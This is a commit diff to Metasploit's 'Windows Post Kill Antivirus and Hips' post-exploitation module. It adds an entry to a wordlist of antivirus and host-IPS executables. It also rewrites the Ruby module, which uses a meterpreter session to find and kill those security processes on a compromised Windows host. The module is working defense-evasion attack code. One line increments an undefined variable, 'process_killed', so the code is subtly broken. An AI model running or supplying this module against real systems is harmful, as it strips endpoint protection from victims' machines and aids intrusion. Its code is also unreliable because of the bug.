Fix killav post module, handle errors, better output
parent
2735c035b5
commit
986463e489
|
@ -118,6 +118,7 @@ bvt.exe
|
||||||
ccapp.exe
|
ccapp.exe
|
||||||
ccevtmgr.exe
|
ccevtmgr.exe
|
||||||
ccpxysvc.exe
|
ccpxysvc.exe
|
||||||
|
ccsvchst.exe
|
||||||
cdp.exe
|
cdp.exe
|
||||||
cfd.exe
|
cfd.exe
|
||||||
cfgwiz.exe
|
cfgwiz.exe
|
|
@ -2,34 +2,57 @@
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
require 'set'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit4 < Msf::Post
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Post Kill Antivirus and Hips',
|
'Name' => 'Windows Post Kill Antivirus and Hips',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
Converted and merged several post scripts to remove a maximum of av and hips.
|
This module attempts to locate and terminate any processes that are identified
|
||||||
|
as being Antivirus or Host-based IPS related.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' => [ 'Marc-Andre Meloche (MadmanTM)', 'Nikhil Mittal (Samratashok)', 'Jerome Athias'],
|
'Author' => [
|
||||||
'Platform' => [ 'win' ],
|
'Marc-Andre Meloche (MadmanTM)',
|
||||||
'SessionTypes' => [ 'meterpreter' ]
|
'Nikhil Mittal (Samratashok)',
|
||||||
|
'Jerome Athias'
|
||||||
|
],
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'SessionTypes' => ['meterpreter']
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists',
|
||||||
|
'av_hips_executables.txt')).strip
|
||||||
|
avs = Set.new(avs.split("\n"))
|
||||||
|
|
||||||
avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists', 'av_list.txt'))
|
processes_found = 0
|
||||||
|
processes_killed = 0
|
||||||
client.sys.process.get_processes().each do |x|
|
client.sys.process.get_processes().each do |x|
|
||||||
|
vprint_status("Checking #{x['name'].downcase} ...")
|
||||||
if avs.include?(x['name'].downcase)
|
if avs.include?(x['name'].downcase)
|
||||||
print_status("Killing off #{x['name']}...")
|
processes_found += 1
|
||||||
|
print_status("Attempting to terminate '#{x['name']}' (PID: #{x['pid']}) ...")
|
||||||
|
begin
|
||||||
client.sys.process.kill(x['pid'])
|
client.sys.process.kill(x['pid'])
|
||||||
|
process_killed += 1
|
||||||
|
print_good("#{x['name']} terminated.")
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
print_error("Failed to terminate '#{x['name']}' (PID: #{x['pid']}).")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if processes_found == 0
|
||||||
|
print_status('No target processes were found.')
|
||||||
|
else
|
||||||
|
print_good("A total of #{processes_found} process(es) were discovered, #{processes_killed} were terminated.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue